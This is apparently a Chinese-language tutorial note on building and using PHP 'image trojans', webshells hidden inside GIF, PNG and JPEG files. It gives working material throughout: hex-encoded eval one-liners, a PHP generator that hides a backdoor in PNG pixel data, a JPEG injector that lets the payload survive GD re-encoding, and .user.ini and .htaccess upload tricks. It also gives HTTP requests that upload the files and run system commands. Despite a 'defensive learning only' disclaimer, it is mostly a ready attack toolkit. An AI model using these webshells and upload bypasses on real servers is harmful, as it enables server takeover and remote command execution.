【笔记】图片马制作和利用

前言

图片马制作和利用

本文仅用于网络信息防御学习

制作包含恶意代码的无效图片文件

  • 把PHP代码字符串转换为PHP代码十六进制数,然后再与图片文件头十六进制数与PHP代码十六进制数组合
  • 这种图片因为只有文件头所以不能正常显示图片

phpinfo的十六进制数据

  • <?php phpinfo();?>
1
3C3F70687020706870696E666F28293B3F3E

一句话木马的十六进制数据

  • <?php eval($_REQUEST["<pwd>"]);?>
1
3C3F706870206576616C28245F524551554553545B223C7077643E225D293B3F3E

GIF文件头

  • GIF87a
1
474946383761
  • GIF89a
1
474946383961

PNG文件头

1
80504E470D0A1A0A

JPEG文件头

  • GFIF
1
FFD8FFE000104A4649460001

制作包含恶意代码的有效图片文件

  • 这种方法的缺点是图片可能会看起来不正常

GIF文件

  • 向gif图片注入恶意代码

准备工作

  • 一张正常显示的jpg图片

为图片注入恶意代码

  • 对比上传前和上传后的图片十六进制,将恶意代码插入到上传前后没有变动的区域内
1
<?php eval($_REQUEST[x]);?>

图片木马利用

request
1
2
3
4
POST http://localhost:80/<filename>.gif
Content-Type: application/x-www-form-urlencoded

x=system("<shell>")

PNG文件

  • 生成包含恶意代码的png图片

源代码

  • 后门代码<?=$_GET[0]($_POST[1])?>
main.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if(!isset($argv[1])) {
die('php main.php <filename>.png');
}

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img, $argv[1]);
?>

制作包含恶意代码的图片

<filename>.png:生成的新的图片路径

1
php main.php <filename>.png

图片木马利用

request
1
2
3
4
POST http://localhost:80/<filename>.png?0=system
Content-Type: application/x-www-form-urlencoded

1=<shell>

JPEG文件

  • 向jpg图片注入恶意代码

准备工作

  • 一张正常显示的jpg图片

源代码

$miniPayload:定义注入的代码

main.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<?php
$miniPayload = "<?=eval(\$_POST[x]);?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php main.php <filename>.jpg');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

为图片注入恶意代码

<filename>.jpg:原图片路径

1
php main.php <filename>.jpg
  • 注入后生成payload_为前缀的图片

图片木马利用

request
1
2
3
4
POST http://localhost:80/<filename>.jpg
Content-Type: application/x-www-form-urlencoded

x=system("<shell>")

在图片文件的版权信息中注入恶意代码

准备工作

  • Windows环境
  • 一张正常显示的图片

制作方法

  • 右键图片文件->属性->详细信息->在版权填写恶意代码
  • 也可以通过PS将恶意代码写在图片的详细信息里

图片文件与恶意代码文件合并

准备工作

  • Windows环境
  • 一张正常显示的图片
  • 恶意代码文件

制作方法

<file>.jpg:原图文件
<file>.php:原木马文件
<file_new>.jpg:合并后的图片马

1
copy /b <file>.jpg+<file>.php <file_new>.jpg

图片马利用

  • 包含木马的图片在直接访问时是不能直接触发代码执行的,除非访问站点的图片不是通过直接返回图片文件而是用代码渲染图片

.user.ini

准备工作

  • PHP7以上版本环境
  • 上传文件的目录需要有index.php文件或可以上传index.php文件,文件内容随意

将图片作为代码来执行

  • 使用.user.ini文件来自动将图片作为代码来执行
  1. 上传.user.ini文件

file.png:将图片作为php代码解析
/var/log/nginx/access.log:将日志文件作为php代码解析

.user.ini
1
auto_prepend_file=file.png
  1. 上传图片马file.png
request
1
2
3
4
5
6
7
8
9
POST http://localhost:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="file.png"
Content-Type: image/png

<?php eval($_REQUEST[x]);?>
---------------------------000000000000000--
  1. 图片马利用

http://localhost:80:图片马上传的目录

request
1
2
3
4
POST http://localhost:80/index.php
Content-Type: application/x-www-form-urlencoded

x=system("<shell>")
  • index.php可以省略
request
1
2
3
4
POST http://localhost:80/
Content-Type: application/x-www-form-urlencoded

x=system("<shell>")

.htaccess

准备工作

  • Apache环境

将图片作为代码来执行

  1. 上传.htaccess文件

将指定后缀名的文件当作php文件执行

.png:当作php文件执行的文件格式

request
1
2
3
4
5
6
7
8
9
POST http://localhost:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename=".htaccess"
Content-Type: image/png

AddType application/x-http-php .png
---------------------------000000000000000--
  1. 上传图片马file.png
request
1
2
3
4
5
6
7
8
9
POST http://localhost:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------000000000000000

---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="file.png"
Content-Type: image/png

<?php eval($_REQUEST[x]);?>
---------------------------000000000000000--
  1. 图片马利用
request
1
2
3
4
POST http://localhost:80/file.png
Content-Type: application/x-www-form-urlencoded

x=system("<shell>")

完成

参考文献

哔哩哔哩——逆风微笑的代码狗
腾讯云开发者社区——腾讯AlloyTeam
程序师的博客
腾讯云开发者社区——天天P图攻城狮
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec
CSDN——qq_40800734